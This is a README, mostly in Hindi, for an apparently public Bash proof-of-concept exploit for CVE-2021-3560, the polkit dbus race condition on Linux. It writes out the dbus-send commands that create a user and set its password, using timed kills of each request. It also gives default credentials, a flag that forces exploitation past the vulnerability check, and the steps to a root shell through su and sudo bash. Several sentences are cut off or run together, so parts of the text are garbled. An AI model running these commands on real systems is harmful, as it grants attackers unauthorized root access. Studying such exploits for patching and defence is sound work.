
CVE-2021-3560 polkit विशेषाधिकार वृद्धि के लिए स्वचालित Bash PoC। dbus टाइमिंग रेस कंडीशन का शोषण करके कमजोर Linux वितरणों पर sudo यूज़र बनाता है और रूट शेल प्राप्त करता है।
यह केवल एक Bash PoC स्क्रिप्ट है, जो केविन बैकहाउस के ब्लॉग में उल्लिखित शोषण चरणों को स्वचालित करती है। इस भेद्यता पर उनका पोस्ट पढ़ें: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice और gnome-control-center स्थापित हो और जिनमें polkit संस्करण 0.113 (या बाद का) या 0-105-26 (Debian का polkit फोर्क) हो।Ubuntu 20.04 पर polkit संस्करण 0-105-26 (Debian का polkit फोर्क) और Centos 8 पर polkit संस्करण 0.115 के साथ किया गया। यदि आप सुनिश्चित हैं कि आपका लक्ष्य भेद्य है, लेकिन शोषण का जाँच फल विफल होता है, तो सभी जाँचों को बायपास करने और शोषण को बलपूर्वक चलाने के लिए -f=y फ्लैग का उपयोग करें।इसे मैन्युअल रूप से शोषित करने का विस्तृत विवरण और PoC शोधकर्ता के ब्लॉग पर दिया गया है।
TL;DR इस शोषण का नीचे दिया गया है:
polkit को ट्रिगर करके कर सकता है, dbus संदेश भेजकर, लेकिन अनुरोध को अचानक बंद करके, जब polkit अनुरोध प्रसंस्करण कर रहा हो। फिर हमलावर पिछले अनुरोध के अद्वितीय बस पहचानकर्ता के साथ एक दूसरा अनुरोध भेज सकता है, ताकि अनुरोध को UID 0 उर्फ root के रूप में निष्पादित किया जा सके।polkit में मौजूद है, क्योंकि यह एक ऐसे बस पहचानकर्ता वाले कनेक्शन के UID को, जो अब मौजूद नहीं है, UID 0 से एक अनुरोध के रूप में मानता है। इसका मतलब है कि, यदि हम हमले को सही ढंग से समयबद्ध कर सकते हैं और सही क्षण पर अपने पहले अनुरोध को समाप्त कर सकते हैं, तो हम दूसरे अनुरोध को UID 0 उर्फ root के विशेषाधिकारों के साथ अनुरोध कर सकते हैं।जैसा कि मैंने पहले कहा, यह सिर्फ एक bash स्क्रिप्ट है जो केविन बैकहाउस के PoC को स्वचालित करती है। मुख्य कमांड समान हैं; मैंने बस कुछ प्रारंभिक चरणों को स्वचालित किया है (जैसे समय सही करना, भेद्यता के लिए स्कैन करना, कस्टम क्रेडेंशियल सम्मिलन, सुंदर रंग मुद्रण आदि)।
यदि यह स्क्रिप्ट बिना किसी पैरामीटर के चलाई गई है, तो इस स्क्रिप्ट का डिफ़ॉल्ट व्यवहार इस प्रकार है:
/etc/os-release फ़ाइल का उपयोग करके।]accountservice और gnome-control-center की स्थापना की जाँच करें। [rhel/centos/fedora में, rpm -qa का उपयोग करता है और debian/ubuntu वितरणों में, यह dpkg -l का उपयोग करता है।]rhel.centos,fedora के लिए 0.113 (या बाद का) और Debian/Ubuntu के लिए 0-105-26]time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
$t) अनुरोध के लिए आवश्यक समय को 2 से विभाजित करके गणना की जाती है। ($t=time-required-to-request/2) [awk का उपयोग करके गणना की जाती है]$t) की गणना के बाद, लक्ष्य में $username secnigma डालने का अनुरोध 20 बार दोहराया जाता है।dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
id secnigma का उपयोग करके पाया गया], तो एक पासवर्ड हैश उत्पन्न होता है [bash openssl passwd -5 `echo -n $password` का उपयोग करके]। ($password=secnigmaftw)dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!
su - <username> का उपयोग करके खाते में लॉगिन कर सकते हैं, और फिर रूट शेल में प्रवेश करने के लिए sudo bash दर्ज कर सकते हैं!Esc कुंजी दबाएँ और स्क्रिप्ट को तुरंत समाप्त करने के लिए Ctrl+C दबाएँ।